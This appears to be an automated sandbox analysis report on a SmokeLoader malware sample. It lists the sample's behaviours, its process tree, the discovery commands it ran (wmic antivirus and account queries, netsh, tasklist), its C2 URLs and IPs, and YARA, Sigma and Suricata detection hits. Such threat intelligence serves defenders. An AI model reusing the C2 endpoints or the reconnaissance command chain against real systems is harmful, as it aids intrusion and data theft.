Edit tour

Windows Analysis Report
bCnarg2O62.exe

Overview

General Information

Sample name:	bCnarg2O62.exe renamed because original name is a hash value
Original sample name:	fa949a7589dc71ea006eb10ad025618a.exe
Analysis ID:	1528498
MD5:	fa949a7589dc71ea006eb10ad025618a
SHA1:	3525508cc8b83cdec2bde0bf0cbdc7cdab62c383
SHA256:	fff79a1e96ffcac77b3eb7bc01706bfece7499ab8972b28a732dfa2aa09994ee
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the windows firewall

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses ipconfig to lookup or modify the Windows network settings

Uses netsh to modify the Windows network and firewall settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Execution of Suspicious File Type Extension

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

bCnarg2O62.exe (PID: 1612 cmdline: "C:\Users\user\Desktop\bCnarg2O62.exe" MD5: FA949A7589DC71EA006EB10AD025618A)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

1D0F.exe (PID: 1308 cmdline: C:\Users\user\AppData\Local\Temp\1D0F.exe MD5: 02F50094664F74B387AC57B1DE8679AF)

9245.exe (PID: 6520 cmdline: C:\Users\user\AppData\Local\Temp\9245.exe MD5: 65AEAA0A0849CB3CE9BC15BCBF0B7B9F)

cmd.exe (PID: 2688 cmdline: cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 352 cmdline: wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 3192 cmdline: wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 1852 cmdline: wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 3912 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 504 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5700 cmdline: wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 3664 cmdline: wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 3844 cmdline: wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 1260 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5628 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 2912 cmdline: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 6272 cmdline: wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 6484 cmdline: wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5772 cmdline: wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

ipconfig.exe (PID: 2032 cmdline: ipconfig /displaydns MD5: 62F170FB07FDBB79CEB7147101406EB8)

ROUTE.EXE (PID: 1712 cmdline: route print MD5: 3C97E63423E527BA8381E81CBA00B8CD)

netsh.exe (PID: 6340 cmdline: netsh firewall show state MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

systeminfo.exe (PID: 2600 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

tasklist.exe (PID: 2080 cmdline: tasklist /v /fo csv MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

explorer.exe (PID: 2140 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 5652 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 5368 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 5292 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 2164 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 4128 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

derhswe (PID: 2412 cmdline: C:\Users\user\AppData\Roaming\derhswe MD5: FA949A7589DC71EA006EB10AD025618A)

derhswe (PID: 888 cmdline: C:\Users\user\AppData\Roaming\derhswe MD5: FA949A7589DC71EA006EB10AD025618A)

jfrhswe (PID: 332 cmdline: C:\Users\user\AppData\Roaming\jfrhswe MD5: 02F50094664F74B387AC57B1DE8679AF)

msiexec.exe (PID: 7044 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["https://ninjahallnews.com/search.php", "https://fallhandbat.com/search.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2045303884.000000000050C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x12b5e:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000007.00000002.2263785204.0000000000710000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.2263785204.0000000000710000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000008.00000002.2520233894.000000000073D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11df7:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1799052498.0000000000520000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000005.00000002.2045484809.0000000001FE1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.2045484809.0000000001FE1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000006.00000002.2106411331.0000000000520000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000002.2106596720.000000000073F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x12a2e:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1799134235.0000000000540000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1799134235.0000000000540000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.2045012210.00000000004A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000002.2106729164.0000000002101000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000002.2106729164.0000000002101000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000008.00000002.2520412148.00000000020D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000008.00000002.2520412148.00000000020D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000011.00000002.4174299297.0000000000821000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000006.00000002.2106441385.0000000000530000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000002.2106441385.0000000000530000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1799360788.00000000005AD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x12866:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.2264170490.00000000020E1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.2264170490.00000000020E1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000008.00000002.2519523064.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000007.00000002.2263700057.00000000005F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000005.00000002.2045088261.00000000004B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.2045088261.00000000004B0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1799202066.0000000000561000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1799202066.0000000000561000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000007.00000002.2264057033.000000000075D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11fcf:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.2520072402.0000000000710000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000008.00000002.2520072402.0000000000710000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Process Memory Space: explorer.exe PID: 5368	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Process Memory Space: explorer.exe PID: 5292	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Click to see the 29 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\derhswe, CommandLine: C:\Users\user\AppData\Roaming\derhswe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\derhswe, NewProcessName: C:\Users\user\AppData\Roaming\derhswe, OriginalFileName: C:\Users\user\AppData\Roaming\derhswe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\user\AppData\Roaming\derhswe, ProcessId: 2412, ProcessName: derhswe

Sigma detected: Local Accounts Discovery

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , CommandLine: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2688, ParentProcessName: cmd.exe, ProcessCommandLine: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , ProcessId: 2912, ProcessName: WMIC.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: route print, CommandLine: route print, CommandLine|base64offset|contains: , Image: C:\Windows\System32\ROUTE.EXE, NewProcessName: C:\Windows\System32\ROUTE.EXE, OriginalFileName: C:\Windows\System32\ROUTE.EXE, ParentCommandLine: cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2688, ParentProcessName: cmd.exe, ProcessCommandLine: route print, ProcessId: 1712, ProcessName: ROUTE.EXE

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T00:19:56.521297+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49736	109.175.29.39	80	TCP
2024-10-08T00:19:57.933998+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49737	109.175.29.39	80	TCP
2024-10-08T00:19:58.702026+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49738	109.175.29.39	80	TCP
2024-10-08T00:19:59.466827+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49739	109.175.29.39	80	TCP
2024-10-08T00:20:00.843226+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49740	109.175.29.39	80	TCP
2024-10-08T00:20:01.602248+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49741	109.175.29.39	80	TCP
2024-10-08T00:20:02.373195+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49742	109.175.29.39	80	TCP
2024-10-08T00:20:03.357049+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49743	109.175.29.39	80	TCP
2024-10-08T00:20:04.230689+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49744	109.175.29.39	80	TCP
2024-10-08T00:20:05.016635+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49745	109.175.29.39	80	TCP
2024-10-08T00:20:05.782303+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49746	109.175.29.39	80	TCP
2024-10-08T00:20:06.621612+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49747	109.175.29.39	80	TCP
2024-10-08T00:20:07.425060+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49748	109.175.29.39	80	TCP
2024-10-08T00:20:08.187550+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49749	109.175.29.39	80	TCP
2024-10-08T00:20:08.988328+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49750	109.175.29.39	80	TCP
2024-10-08T00:20:09.999180+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49751	109.175.29.39	80	TCP
2024-10-08T00:20:10.795484+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49752	109.175.29.39	80	TCP
2024-10-08T00:20:11.585121+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49753	109.175.29.39	80	TCP
2024-10-08T00:20:12.351541+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49754	109.175.29.39	80	TCP
2024-10-08T00:20:13.116137+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49755	109.175.29.39	80	TCP
2024-10-08T00:20:14.108812+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49756	109.175.29.39	80	TCP
2024-10-08T00:20:14.977527+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49757	109.175.29.39	80	TCP
2024-10-08T00:20:15.765843+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49758	109.175.29.39	80	TCP
2024-10-08T00:20:16.759382+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49759	109.175.29.39	80	TCP
2024-10-08T00:20:19.925424+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49761	109.175.29.39	80	TCP
2024-10-08T00:20:20.864927+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49762	109.175.29.39	80	TCP
2024-10-08T00:20:21.652306+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49763	109.175.29.39	80	TCP
2024-10-08T00:20:22.408715+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49764	109.175.29.39	80	TCP
2024-10-08T00:20:23.179852+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49765	109.175.29.39	80	TCP
2024-10-08T00:20:23.967118+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49767	109.175.29.39	80	TCP
2024-10-08T00:20:24.908316+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49773	109.175.29.39	80	TCP
2024-10-08T00:20:26.073161+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49774	109.175.29.39	80	TCP
2024-10-08T00:20:26.858013+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49786	109.175.29.39	80	TCP
2024-10-08T00:20:42.524219+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49882	23.145.40.168	443	TCP
2024-10-08T00:20:43.856995+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49890	23.145.40.168	443	TCP
2024-10-08T00:20:44.985987+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49898	23.145.40.168	443	TCP
2024-10-08T00:20:45.842246+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49902	23.145.40.168	443	TCP
2024-10-08T00:20:46.708528+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49913	23.145.40.168	443	TCP
2024-10-08T00:20:47.583687+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49919	23.145.40.168	443	TCP
2024-10-08T00:20:49.538695+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49925	23.145.40.168	443	TCP
2024-10-08T00:20:50.760609+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49931	23.145.40.168	443	TCP
2024-10-08T00:20:51.653515+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49941	23.145.40.168	443	TCP
2024-10-08T00:20:52.681299+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49948	23.145.40.168	443	TCP
2024-10-08T00:20:53.570072+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49954	23.145.40.168	443	TCP
2024-10-08T00:20:55.270683+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49960	23.145.40.168	443	TCP
2024-10-08T00:20:56.144229+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49966	23.145.40.168	443	TCP
2024-10-08T00:20:57.019675+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49972	23.145.40.168	443	TCP
2024-10-08T00:20:57.887464+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49978	23.145.40.168	443	TCP
2024-10-08T00:20:58.778951+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49984	23.145.40.168	443	TCP
2024-10-08T00:20:59.634156+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49994	23.145.40.168	443	TCP
2024-10-08T00:21:01.242575+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50001	23.145.40.168	443	TCP
2024-10-08T00:21:02.152391+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50007	23.145.40.168	443	TCP
2024-10-08T00:21:03.074243+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50013	23.145.40.168	443	TCP
2024-10-08T00:21:11.009960+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50050	23.145.40.168	443	TCP
2024-10-08T00:21:33.567262+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50057	109.175.29.39	80	TCP
2024-10-08T00:21:35.197944+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50058	109.175.29.39	80	TCP
2024-10-08T00:21:37.723611+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50059	109.175.29.39	80	TCP
2024-10-08T00:21:39.805320+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50060	109.175.29.39	80	TCP
2024-10-08T00:21:52.355257+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50061	109.175.29.39	80	TCP
2024-10-08T00:22:08.472860+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50062	109.175.29.39	80	TCP
2024-10-08T00:22:27.583209+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50063	23.145.40.168	443	TCP
2024-10-08T00:22:30.172982+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50064	211.171.233.129	80	TCP
2024-10-08T00:22:49.728426+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50065	23.145.40.168	443	TCP
2024-10-08T00:22:52.888320+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50066	211.171.233.129	80	TCP
2024-10-08T00:23:14.226648+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50067	23.145.40.168	443	TCP
2024-10-08T00:23:20.288275+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50068	211.171.233.129	80	TCP

ETPRO MALWARE Dridex Post Checkin Activity 3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T00:20:42.888093+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49882	23.145.40.168	443	TCP
2024-10-08T00:20:44.200827+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49890	23.145.40.168	443	TCP
2024-10-08T00:20:45.235539+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49898	23.145.40.168	443	TCP
2024-10-08T00:20:46.119294+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49902	23.145.40.168	443	TCP
2024-10-08T00:20:46.993552+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49913	23.145.40.168	443	TCP
2024-10-08T00:20:47.872357+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49919	23.145.40.168	443	TCP
2024-10-08T00:20:49.815775+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49925	23.145.40.168	443	TCP
2024-10-08T00:20:51.040714+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49931	23.145.40.168	443	TCP
2024-10-08T00:20:51.921800+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49941	23.145.40.168	443	TCP
2024-10-08T00:20:52.967975+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49948	23.145.40.168	443	TCP
